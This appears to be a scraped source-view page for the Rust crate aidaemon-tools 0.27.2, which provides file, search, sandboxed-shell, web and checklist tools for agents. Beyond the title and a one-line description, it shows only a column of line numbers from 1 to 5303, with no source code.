aidaemon-tools 0.27.2

Ready-made tools for aidaemon agents (files, search, sandboxed shell, web, checklist); implementation crate of the aidaemon SDK, no stability promise (use it through aidaemon-sdk)
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863
1864
1865
1866
1867
1868
1869
1870
1871
1872
1873
1874
1875
1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905
1906
1907
1908
1909
1910
1911
1912
1913
1914
1915
1916
1917
1918
1919
1920
1921
1922
1923
1924
1925
1926
1927
1928
1929
1930
1931
1932
1933
1934
1935
1936
1937
1938
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951
1952
1953
1954
1955
1956
1957
1958
1959
1960
1961
1962
1963
1964
1965
1966
1967
1968
1969
1970
1971
1972
1973
1974
1975
1976
1977
1978
1979
1980
1981
1982
1983
1984
1985
1986
1987
1988
1989
1990
1991
1992
1993
1994
1995
1996
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
2019
2020
2021
2022
2023
2024
2025
2026
2027
2028
2029
2030
2031
2032
2033
2034
2035
2036
2037
2038
2039
2040
2041
2042
2043
2044
2045
2046
2047
2048
2049
2050
2051
2052
2053
2054
2055
2056
2057
2058
2059
2060
2061
2062
2063
2064
2065
2066
2067
2068
2069
2070
2071
2072
2073
2074
2075
2076
2077
2078
2079
2080
2081
2082
2083
2084
2085
2086
2087
2088
2089
2090
2091
2092
2093
2094
2095
2096
2097
2098
2099
2100
2101
2102
2103
2104
2105
2106
2107
2108
2109
2110
2111
2112
2113
2114
2115
2116
2117
2118
2119
2120
2121
2122
2123
2124
2125
2126
2127
2128
2129
2130
2131
2132
2133
2134
2135
2136
2137
2138
2139
2140
2141
2142
2143
2144
2145
2146
2147
2148
2149
2150
2151
2152
2153
2154
2155
2156
2157
2158
2159
2160
2161
2162
2163
2164
2165
2166
2167
2168
2169
2170
2171
2172
2173
2174
2175
2176
2177
2178
2179
2180
2181
2182
2183
2184
2185
2186
2187
2188
2189
2190
2191
2192
2193
2194
2195
2196
2197
2198
2199
2200
2201
2202
2203
2204
2205
2206
2207
2208
2209
2210
2211
2212
2213
2214
2215
2216
2217
2218
2219
2220
2221
2222
2223
2224
2225
2226
2227
2228
2229
2230
2231
2232
2233
2234
2235
2236
2237
2238
2239
2240
2241
2242
2243
2244
2245
2246
2247
2248
2249
2250
2251
2252
2253
2254
2255
2256
2257
2258
2259
2260
2261
2262
2263
2264
2265
2266
2267
2268
2269
2270
2271
2272
2273
2274
2275
2276
2277
2278
2279
2280
2281
2282
2283
2284
2285
2286
2287
2288
2289
2290
2291
2292
2293
2294
2295
2296
2297
2298
2299
2300
2301
2302
2303
2304
2305
2306
2307
2308
2309
2310
2311
2312
2313
2314
2315
2316
2317
2318
2319
2320
2321
2322
2323
2324
2325
2326
2327
2328
2329
2330
2331
2332
2333
2334
2335
2336
2337
2338
2339
2340
2341
2342
2343
2344
2345
2346
2347
2348
2349
2350
2351
2352
2353
2354
2355
2356
2357
2358
2359
2360
2361
2362
2363
2364
2365
2366
2367
2368
2369
2370
2371
2372
2373
2374
2375
2376
2377
2378
2379
2380
2381
2382
2383
2384
2385
2386
2387
2388
2389
2390
2391
2392
2393
2394
2395
2396
2397
2398
2399
2400
2401
2402
2403
2404
2405
2406
2407
2408
2409
2410
2411
2412
2413
2414
2415
2416
2417
2418
2419
2420
2421
2422
2423
2424
2425
2426
2427
2428
2429
2430
2431
2432
2433
2434
2435
2436
2437
2438
2439
2440
2441
2442
2443
2444
2445
2446
2447
2448
2449
2450
2451
2452
2453
2454
2455
2456
2457
2458
2459
2460
2461
2462
2463
2464
2465
2466
2467
2468
2469
2470
2471
2472
2473
2474
2475
2476
2477
2478
2479
2480
2481
2482
2483
2484
2485
2486
2487
2488
2489
2490
2491
2492
2493
2494
2495
2496
2497
2498
2499
2500
2501
2502
2503
2504
2505
2506
2507
2508
2509
2510
2511
2512
2513
2514
2515
2516
2517
2518
2519
2520
2521
2522
2523
2524
2525
2526
2527
2528
2529
2530
2531
2532
2533
2534
2535
2536
2537
2538
2539
2540
2541
2542
2543
2544
2545
2546
2547
2548
2549
2550
2551
2552
2553
2554
2555
2556
2557
2558
2559
2560
2561
2562
2563
2564
2565
2566
2567
2568
2569
2570
2571
2572
2573
2574
2575
2576
2577
2578
2579
2580
2581
2582
2583
2584
2585
2586
2587
2588
2589
2590
2591
2592
2593
2594
2595
2596
2597
2598
2599
2600
2601
2602
2603
2604
2605
2606
2607
2608
2609
2610
2611
2612
2613
2614
2615
2616
2617
2618
2619
2620
2621
2622
2623
2624
2625
2626
2627
2628
2629
2630
2631
2632
2633
2634
2635
2636
2637
2638
2639
2640
2641
2642
2643
2644
2645
2646
2647
2648
2649
2650
2651
2652
2653
2654
2655
2656
2657
2658
2659
2660
2661
2662
2663
2664
2665
2666
2667
2668
2669
2670
2671
2672
2673
2674
2675
2676
2677
2678
2679
2680
2681
2682
2683
2684
2685
2686
2687
2688
2689
2690
2691
2692
2693
2694
2695
2696
2697
2698
2699
2700
2701
2702
2703
2704
2705
2706
2707
2708
2709
2710
2711
2712
2713
2714
2715
2716
2717
2718
2719
2720
2721
2722
2723
2724
2725
2726
2727
2728
2729
2730
2731
2732
2733
2734
2735
2736
2737
2738
2739
2740
2741
2742
2743
2744
2745
2746
2747
2748
2749
2750
2751
2752
2753
2754
2755
2756
2757
2758
2759
2760
2761
2762
2763
2764
2765
2766
2767
2768
2769
2770
2771
2772
2773
2774
2775
2776
2777
2778
2779
2780
2781
2782
2783
2784
2785
2786
2787
2788
2789
2790
2791
2792
2793
2794
2795
2796
2797
2798
2799
2800
2801
2802
2803
2804
2805
2806
2807
2808
2809
2810
2811
2812
2813
2814
2815
2816
2817
2818
2819
2820
2821
2822
2823
2824
2825
2826
2827
2828
2829
2830
2831
2832
2833
2834
2835
2836
2837
2838
2839
2840
2841
2842
2843
2844
2845
2846
2847
2848
2849
2850
2851
2852
2853
2854
2855
2856
2857
2858
2859
2860
2861
2862
2863
2864
2865
2866
2867
2868
2869
2870
2871
2872
2873
2874
2875
2876
2877
2878
2879
2880
2881
2882
2883
2884
2885
2886
2887
2888
2889
2890
2891
2892
2893
2894
2895
2896
2897
2898
2899
2900
2901
2902
2903
2904
2905
2906
2907
2908
2909
2910
2911
2912
2913
2914
2915
2916
2917
2918
2919
2920
2921
2922
2923
2924
2925
2926
2927
2928
2929
2930
2931
2932
2933
2934
2935
2936
2937
2938
2939
2940
2941
2942
2943
2944
2945
2946
2947
2948
2949
2950
2951
2952
2953
2954
2955
2956
2957
2958
2959
2960
2961
2962
2963
2964
2965
2966
2967
2968
2969
2970
2971
2972
2973
2974
2975
2976
2977
2978
2979
2980
2981
2982
2983
2984
2985
2986
2987
2988
2989
2990
2991
2992
2993
2994
2995
2996
2997
2998
2999
3000
3001
3002
3003
3004
3005
3006
3007
3008
3009
3010
3011
3012
3013
3014
3015
3016
3017
3018
3019
3020
3021
3022
3023
3024
3025
3026
3027
3028
3029
3030
3031
3032
3033
3034
3035
3036
3037
3038
3039
3040
3041
3042
3043
3044
3045
3046
3047
3048
3049
3050
3051
3052
3053
3054
3055
3056
3057
3058
3059
3060
3061
3062
3063
3064
3065
3066
3067
3068
3069
3070
3071
3072
3073
3074
3075
3076
3077
3078
3079
3080
3081
3082
3083
3084
3085
3086
3087
3088
3089
3090
3091
3092
3093
3094
3095
3096
3097
3098
3099
3100
3101
3102
3103
3104
3105
3106
3107
3108
3109
3110
3111
3112
3113
3114
3115
3116
3117
3118
3119
3120
3121
3122
3123
3124
3125
3126
3127
3128
3129
3130
3131
3132
3133
3134
3135
3136
3137
3138
3139
3140
3141
3142
3143
3144
3145
3146
3147
3148
3149
3150
3151
3152
3153
3154
3155
3156
3157
3158
3159
3160
3161
3162
3163
3164
3165
3166
3167
3168
3169
3170
3171
3172
3173
3174
3175
3176
3177
3178
3179
3180
3181
3182
3183
3184
3185
3186
3187
3188
3189
3190
3191
3192
3193
3194
3195
3196
3197
3198
3199
3200
3201
3202
3203
3204
3205
3206
3207
3208
3209
3210
3211
3212
3213
3214
3215
3216
3217
3218
3219
3220
3221
3222
3223
3224
3225
3226
3227
3228
3229
3230
3231
3232
3233
3234
3235
3236
3237
3238
3239
3240
3241
3242
3243
3244
3245
3246
3247
3248
3249
3250
3251
3252
3253
3254
3255
3256
3257
3258
3259
3260
3261
3262
3263
3264
3265
3266
3267
3268
3269
3270
3271
3272
3273
3274
3275
3276
3277
3278
3279
3280
3281
3282
3283
3284
3285
3286
3287
3288
3289
3290
3291
3292
3293
3294
3295
3296
3297
3298
3299
3300
3301
3302
3303
3304
3305
3306
3307
3308
3309
3310
3311
3312
3313
3314
3315
3316
3317
3318
3319
3320
3321
3322
3323
3324
3325
3326
3327
3328
3329
3330
3331
3332
3333
3334
3335
3336
3337
3338
3339
3340
3341
3342
3343
3344
3345
3346
3347
3348
3349
3350
3351
3352
3353
3354
3355
3356
3357
3358
3359
3360
3361
3362
3363
3364
3365
3366
3367
3368
3369
3370
3371
3372
3373
3374
3375
3376
3377
3378
3379
3380
3381
3382
3383
3384
3385
3386
3387
3388
3389
3390
3391
3392
3393
3394
3395
3396
3397
3398
3399
3400
3401
3402
3403
3404
3405
3406
3407
3408
3409
3410
3411
3412
3413
3414
3415
3416
3417
3418
3419
3420
3421
3422
3423
3424
3425
3426
3427
3428
3429
3430
3431
3432
3433
3434
3435
3436
3437
3438
3439
3440
3441
3442
3443
3444
3445
3446
3447
3448
3449
3450
3451
3452
3453
3454
3455
3456
3457
3458
3459
3460
3461
3462
3463
3464
3465
3466
3467
3468
3469
3470
3471
3472
3473
3474
3475
3476
3477
3478
3479
3480
3481
3482
3483
3484
3485
3486
3487
3488
3489
3490
3491
3492
3493
3494
3495
3496
3497
3498
3499
3500
3501
3502
3503
3504
3505
3506
3507
3508
3509
3510
3511
3512
3513
3514
3515
3516
3517
3518
3519
3520
3521
3522
3523
3524
3525
3526
3527
3528
3529
3530
3531
3532
3533
3534
3535
3536
3537
3538
3539
3540
3541
3542
3543
3544
3545
3546
3547
3548
3549
3550
3551
3552
3553
3554
3555
3556
3557
3558
3559
3560
3561
3562
3563
3564
3565
3566
3567
3568
3569
3570
3571
3572
3573
3574
3575
3576
3577
3578
3579
3580
3581
3582
3583
3584
3585
3586
3587
3588
3589
3590
3591
3592
3593
3594
3595
3596
3597
3598
3599
3600
3601
3602
3603
3604
3605
3606
3607
3608
3609
3610
3611
3612
3613
3614
3615
3616
3617
3618
3619
3620
3621
3622
3623
3624
3625
3626
3627
3628
3629
3630
3631
3632
3633
3634
3635
3636
3637
3638
3639
3640
3641
3642
3643
3644
3645
3646
3647
3648
3649
3650
3651
3652
3653
3654
3655
3656
3657
3658
3659
3660
3661
3662
3663
3664
3665
3666
3667
3668
3669
3670
3671
3672
3673
3674
3675
3676
3677
3678
3679
3680
3681
3682
3683
3684
3685
3686
3687
3688
3689
3690
3691
3692
3693
3694
3695
3696
3697
3698
3699
3700
3701
3702
3703
3704
3705
3706
3707
3708
3709
3710
3711
3712
3713
3714
3715
3716
3717
3718
3719
3720
3721
3722
3723
3724
3725
3726
3727
3728
3729
3730
3731
3732
3733
3734
3735
3736
3737
3738
3739
3740
3741
3742
3743
3744
3745
3746
3747
3748
3749
3750
3751
3752
3753
3754
3755
3756
3757
3758
3759
3760
3761
3762
3763
3764
3765
3766
3767
3768
3769
3770
3771
3772
3773
3774
3775
3776
3777
3778
3779
3780
3781
3782
3783
3784
3785
3786
3787
3788
3789
3790
3791
3792
3793
3794
3795
3796
3797
3798
3799
3800
3801
3802
3803
3804
3805
3806
3807
3808
3809
3810
3811
3812
3813
3814
3815
3816
3817
3818
3819
3820
3821
3822
3823
3824
3825
3826
3827
3828
3829
3830
3831
3832
3833
3834
3835
3836
3837
3838
3839
3840
3841
3842
3843
3844
3845
3846
3847
3848
3849
3850
3851
3852
3853
3854
3855
3856
3857
3858
3859
3860
3861
3862
3863
3864
3865
3866
3867
3868
3869
3870
3871
3872
3873
3874
3875
3876
3877
3878
3879
3880
3881
3882
3883
3884
3885
3886
3887
3888
3889
3890
3891
3892
3893
3894
3895
3896
3897
3898
3899
3900
3901
3902
3903
3904
3905
3906
3907
3908
3909
3910
3911
3912
3913
3914
3915
3916
3917
3918
3919
3920
3921
3922
3923
3924
3925
3926
3927
3928
3929
3930
3931
3932
3933
3934
3935
3936
3937
3938
3939
3940
3941
3942
3943
3944
3945
3946
3947
3948
3949
3950
3951
3952
3953
3954
3955
3956
3957
3958
3959
3960
3961
3962
3963
3964
3965
3966
3967
3968
3969
3970
3971
3972
3973
3974
3975
3976
3977
3978
3979
3980
3981
3982
3983
3984
3985
3986
3987
3988
3989
3990
3991
3992
3993
3994
3995
3996
3997
3998
3999
4000
4001
4002
4003
4004
4005
4006
4007
4008
4009
4010
4011
4012
4013
4014
4015
4016
4017
4018
4019
4020
4021
4022
4023
4024
4025
4026
4027
4028
4029
4030
4031
4032
4033
4034
4035
4036
4037
4038
4039
4040
4041
4042
4043
4044
4045
4046
4047
4048
4049
4050
4051
4052
4053
4054
4055
4056
4057
4058
4059
4060
4061
4062
4063
4064
4065
4066
4067
4068
4069
4070
4071
4072
4073
4074
4075
4076
4077
4078
4079
4080
4081
4082
4083
4084
4085
4086
4087
4088
4089
4090
4091
4092
4093
4094
4095
4096
4097
4098
4099
4100
4101
4102
4103
4104
4105
4106
4107
4108
4109
4110
4111
4112
4113
4114
4115
4116
4117
4118
4119
4120
4121
4122
4123
4124
4125
4126
4127
4128
4129
4130
4131
4132
4133
4134
4135
4136
4137
4138
4139
4140
4141
4142
4143
4144
4145
4146
4147
4148
4149
4150
4151
4152
4153
4154
4155
4156
4157
4158
4159
4160
4161
4162
4163
4164
4165
4166
4167
4168
4169
4170
4171
4172
4173
4174
4175
4176
4177
4178
4179
4180
4181
4182
4183
4184
4185
4186
4187
4188
4189
4190
4191
4192
4193
4194
4195
4196
4197
4198
4199
4200
4201
4202
4203
4204
4205
4206
4207
4208
4209
4210
4211
4212
4213
4214
4215
4216
4217
4218
4219
4220
4221
4222
4223
4224
4225
4226
4227
4228
4229
4230
4231
4232
4233
4234
4235
4236
4237
4238
4239
4240
4241
4242
4243
4244
4245
4246
4247
4248
4249
4250
4251
4252
4253
4254
4255
4256
4257
4258
4259
4260
4261
4262
4263
4264
4265
4266
4267
4268
4269
4270
4271
4272
4273
4274
4275
4276
4277
4278
4279
4280
4281
4282
4283
4284
4285
4286
4287
4288
4289
4290
4291
4292
4293
4294
4295
4296
4297
4298
4299
4300
4301
4302
4303
4304
4305
4306
4307
4308
4309
4310
4311
4312
4313
4314
4315
4316
4317
4318
4319
4320
4321
4322
4323
4324
4325
4326
4327
4328
4329
4330
4331
4332
4333
4334
4335
4336
4337
4338
4339
4340
4341
4342
4343
4344
4345
4346
4347
4348
4349
4350
4351
4352
4353
4354
4355
4356
4357
4358
4359
4360
4361
4362
4363
4364
4365
4366
4367
4368
4369
4370
4371
4372
4373
4374
4375
4376
4377
4378
4379
4380
4381
4382
4383
4384
4385
4386
4387
4388
4389
4390
4391
4392
4393
4394
4395
4396
4397
4398
4399
4400
4401
4402
4403
4404
4405
4406
4407
4408
4409
4410
4411
4412
4413
4414
4415
4416
4417
4418
4419
4420
4421
4422
4423
4424
4425
4426
4427
4428
4429
4430
4431
4432
4433
4434
4435
4436
4437
4438
4439
4440
4441
4442
4443
4444
4445
4446
4447
4448
4449
4450
4451
4452
4453
4454
4455
4456
4457
4458
4459
4460
4461
4462
4463
4464
4465
4466
4467
4468
4469
4470
4471
4472
4473
4474
4475
4476
4477
4478
4479
4480
4481
4482
4483
4484
4485
4486
4487
4488
4489
4490
4491
4492
4493
4494
4495
4496
4497
4498
4499
4500
4501
4502
4503
4504
4505
4506
4507
4508
4509
4510
4511
4512
4513
4514
4515
4516
4517
4518
4519
4520
4521
4522
4523
4524
4525
4526
4527
4528
4529
4530
4531
4532
4533
4534
4535
4536
4537
4538
4539
4540
4541
4542
4543
4544
4545
4546
4547
4548
4549
4550
4551
4552
4553
4554
4555
4556
4557
4558
4559
4560
4561
4562
4563
4564
4565
4566
4567
4568
4569
4570
4571
4572
4573
4574
4575
4576
4577
4578
4579
4580
4581
4582
4583
4584
4585
4586
4587
4588
4589
4590
4591
4592
4593
4594
4595
4596
4597
4598
4599
4600
4601
4602
4603
4604
4605
4606
4607
4608
4609
4610
4611
4612
4613
4614
4615
4616
4617
4618
4619
4620
4621
4622
4623
4624
4625
4626
4627
4628
4629
4630
4631
4632
4633
4634
4635
4636
4637
4638
4639
4640
4641
4642
4643
4644
4645
4646
4647
4648
4649
4650
4651
4652
4653
4654
4655
4656
4657
4658
4659
4660
4661
4662
4663
4664
4665
4666
4667
4668
4669
4670
4671
4672
4673
4674
4675
4676
4677
4678
4679
4680
4681
4682
4683
4684
4685
4686
4687
4688
4689
4690
4691
4692
4693
4694
4695
4696
4697
4698
4699
4700
4701
4702
4703
4704
4705
4706
4707
4708
4709
4710
4711
4712
4713
4714
4715
4716
4717
4718
4719
4720
4721
4722
4723
4724
4725
4726
4727
4728
4729
4730
4731
4732
4733
4734
4735
4736
4737
4738
4739
4740
4741
4742
4743
4744
4745
4746
4747
4748
4749
4750
4751
4752
4753
4754
4755
4756
4757
4758
4759
4760
4761
4762
4763
4764
4765
4766
4767
4768
4769
4770
4771
4772
4773
4774
4775
4776
4777
4778
4779
4780
4781
4782
4783
4784
4785
4786
4787
4788
4789
4790
4791
4792
4793
4794
4795
4796
4797
4798
4799
4800
4801
4802
4803
4804
4805
4806
4807
4808
4809
4810
4811
4812
4813
4814
4815
4816
4817
4818
4819
4820
4821
4822
4823
4824
4825
4826
4827
4828
4829
4830
4831
4832
4833
4834
4835
4836
4837
4838
4839
4840
4841
4842
4843
4844
4845
4846
4847
4848
4849
4850
4851
4852
4853
4854
4855
4856
4857
4858
4859
4860
4861
4862
4863
4864
4865
4866
4867
4868
4869
4870
4871
4872
4873
4874
4875
4876
4877
4878
4879
4880
4881
4882
4883
4884
4885
4886
4887
4888
4889
4890
4891
4892
4893
4894
4895
4896
4897
4898
4899
4900
4901
4902
4903
4904
4905
4906
4907
4908
4909
4910
4911
4912
4913
4914
4915
4916
4917
4918
4919
4920
4921
4922
4923
4924
4925
4926
4927
4928
4929
4930
4931
4932
4933
4934
4935
4936
4937
4938
4939
4940
4941
4942
4943
4944
4945
4946
4947
4948
4949
4950
4951
4952
4953
4954
4955
4956
4957
4958
4959
4960
4961
4962
4963
4964
4965
4966
4967
4968
4969
4970
4971
4972
4973
4974
4975
4976
4977
4978
4979
4980
4981
4982
4983
4984
4985
4986
4987
4988
4989
4990
4991
4992
4993
4994
4995
4996
4997
4998
4999
5000
5001
5002
5003
5004
5005
5006
5007
5008
5009
5010
5011
5012
5013
5014
5015
5016
5017
5018
5019
5020
5021
5022
5023
5024
5025
5026
5027
5028
5029
5030
5031
5032
5033
5034
5035
5036
5037
5038
5039
5040
5041
5042
5043
5044
5045
5046
5047
5048
5049
5050
5051
5052
5053
5054
5055
5056
5057
5058
5059
5060
5061
5062
5063
5064
5065
5066
5067
5068
5069
5070
5071
5072
5073
5074
5075
5076
5077
5078
5079
5080
5081
5082
5083
5084
5085
5086
5087
5088
5089
5090
5091
5092
5093
5094
5095
5096
5097
5098
5099
5100
5101
5102
5103
5104
5105
5106
5107
5108
5109
5110
5111
5112
5113
5114
5115
5116
5117
5118
5119
5120
5121
5122
5123
5124
5125
5126
5127
5128
5129
5130
5131
5132
5133
5134
5135
5136
5137
5138
5139
5140
5141
5142
5143
5144
5145
5146
5147
5148
5149
5150
5151
5152
5153
5154
5155
5156
5157
5158
5159
5160
5161
5162
5163
5164
5165
5166
5167
5168
5169
5170
5171
5172
5173
5174
5175
5176
5177
5178
5179
5180
5181
5182
5183
5184
5185
5186
5187
5188
5189
5190
5191
5192
5193
5194
5195
5196
5197
5198
5199
5200
5201
5202
5203
5204
5205
5206
5207
5208
5209
5210
5211
5212
5213
5214
5215
5216
5217
5218
5219
5220
5221
5222
5223
5224
5225
5226
5227
5228
5229
5230
5231
5232
5233
5234
5235
5236
5237
5238
5239
5240
5241
5242
5243
5244
5245
5246
5247
5248
5249
5250
5251
5252
5253
5254
5255
5256
5257
5258
5259
5260
5261
5262
5263
5264
5265
5266
5267
5268
5269
5270
5271
5272
5273
5274
5275
5276
5277
5278
5279
5280
5281
5282
5283
5284
5285
5286
5287
5288
5289
5290
5291
5292
5293
5294
5295
5296
5297
5298
5299
5300
5301
5302
5303
